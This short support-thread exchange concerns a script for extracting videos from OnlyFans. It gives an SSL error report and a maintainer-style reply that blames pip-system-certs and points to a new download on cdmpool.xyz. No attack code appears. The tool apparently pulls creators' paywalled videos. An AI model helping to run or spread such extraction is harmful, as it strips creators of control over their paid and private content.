OnlyFans Video Extractor error: Remote end closed connection without response

[11_inch_subpoena]

So the first time I ran this tool to do an extraction, I ran into an SSL error. I fixed that by installing the Python package pip-system-certs. Now I get the following output when I try to run the script with only the username defined:

Hey, thanks for the detailed error report — we've identified and fixed this.

Root cause: The pip-system-certs patches Python's global SSL context. On Python 3.13+, this interferes with the TLS handshake against GitHub's CDN (Fastly), which responds by dropping the connection silently → the RemoteDisconnected error.

The fix is live. Re-download the script from cdmpool.xyz and you're good — version 1.1.0 now creates an isolated SSL context for all tool downloads, which is immune to pip-system-certs patches.

Let me know if it resolved your problem
